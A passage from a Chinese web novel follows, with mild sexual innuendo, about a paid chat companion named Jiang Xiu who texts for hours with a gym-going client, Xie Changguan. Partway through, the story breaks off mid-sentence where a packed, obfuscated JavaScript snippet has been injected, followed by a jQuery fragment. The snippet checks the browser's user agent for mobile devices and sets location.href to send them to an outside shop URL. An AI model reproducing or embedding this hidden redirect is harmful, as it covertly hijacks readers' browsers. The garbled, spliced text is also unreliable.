清晰勾勒出宽阔的肩膀与结实的臂膀的肌肉线条,两条分叉开的粗壮有力的双腿堪称威慑。 此刻,他那双健壮的大腿肌肉鼓起,再往上根部处的短裤中央,明显支起了一个巨大的篷。 谢长观喉结缓慢地一滚,压抑着身体里滚烫沸腾的热流。 【帅到被通缉:在健身】 江岫微微一愣,鸦羽般的眼睫梢未都染上了光晕的流波。 健身还找他聊天?? 江岫没去过健身房,但是差不多了解健身是很耗费精力的。 江岫心里的怪异感越发浓重,快速穿上长裤,抱着湿衣服走到阳台。 阳台很窄,刚好够放个小型洗衣机。 江岫将衣服放进去清洗,反身回到房中,翻身上到床榻,拉扯过被褥,覆盖在身上。 【哥哥都做些什么项目呢?】 谢长观坐起身来,目光扫过健身室的种种器材。 他太高了,乍然站起来跟座小山似的,—下子就挡住了一部分的光线。 背部宽阔厚实,沟壑分明,腹肌上大颗大颗的汗珠在灯光的映射下,发出隐隐烁光。 这一幕看上去极具有冲击力。 【帅到被通缉:保持后背挺直,从指尖到脚的支撑、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14286446|151395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引体向上,直膝抬腿扭转、单臂俯卧撑、手木仓式深蹲、哑铃上肩、壶铃摆动……】 江岫浸着水汽的眼眸里,一连串陌生的词汇跃进他的视野。 冻得冰冷的四肢逐渐回暖,他换了个舒服的姿势靠着,走形式一样的夸赞着。 【哥哥会的好多哇】 【哥哥真厉害】 — 两人一个缩在被窝里,一个背躺在健身室里,有一搭没一搭的聊着。 洗衣机咕噜噜的转动着,灯光昏黄而暗长,外边雨势比先前大了些,气温似乎又随着夜的加深降了几度。 粗大的雨点,狂暴地撒落在旧居民楼的屋顶上,黑沉沉的天像要崩塌下来。 巷子外的街上几乎看不到人,远处车灯将雨点染了色,像是一条条带了颜色的光带。 雨看起来,根本没有停下来的预兆。 江岫的姿势渐渐从依靠变成趴躺。 他的一条腿半曲着,一半儿脸压在枕头里,这让他给谢长观发消息的时候不得不用手臂撑着身子,支起来一点儿。 江岫双手握着手机,皱了皱眉头,有些心不在焉。 【哥哥,还要聊吗?】 谢长观几乎是自下而上地用一双冷隽的眼盯着屏幕。 【帅到被通缉:继续】 两个小时过去。 江岫耷拉下脑袋,困得两片眼皮上下翻飞,连早已停止运转的洗衣机都顾不上管。 【哥哥,可以了吗?】 谢长观骨节分明的手指抓着薄荷糖瓶,薄薄的眼皮附着灯光的阴影。 【帅到被通缉:继续】 三个小时过去。 【帅到被通缉:继续】 四个小时过去。 五个小时过去。 …… 江岫被磨得完全没有了脾气,吸了吸鼻头,脑袋完全靠在枕头上。 迷迷糊糊间,似乎又有几条消息传进来。 江岫以为又是谢长观,他的眼睛很费力的拉开一条缝隙,唇瓣配合着手速,一张一合地央求。 【哥哥,还要聊多久呀?】 【我不行了】 【真不行了】 【饶了我吧】 江岫从来没有和哪个单主聊这么久过,哪怕是陪聊,最长都没有超过三个小时。 谢长观实在是太可怕了。 这就不行了? 谢长观低下头,看着没有消下去多少的裆。 算了。 剩下他能自行解决。 谢长观终于大发慈悲松口。 【帅到被通缉:去睡吧。】 谢长观抓起放在一旁的干毛巾,盖在头上,大手按住头皮,草草的擦拭几下。 毛巾下露出半张下颚线利落的侧脸,面无表情时有几分冷峻的拽劲。 谢长观一步一步走进浴室,一个小时左右,男人腰间系着浴巾走出来。 腹肌贲张,胸膛湿漉,短粗的头发不断在滴着水。 谢长观划开『探聊』,唯一的对话框里,樱桃丸子的头像安安静静的。 已经睡着了吗? 水晶灯光勾勒出他的轮廓,谢长观的眼眸染上了一抹自己都没能觉察到的笑意。 【帅到被通缉:晚安。】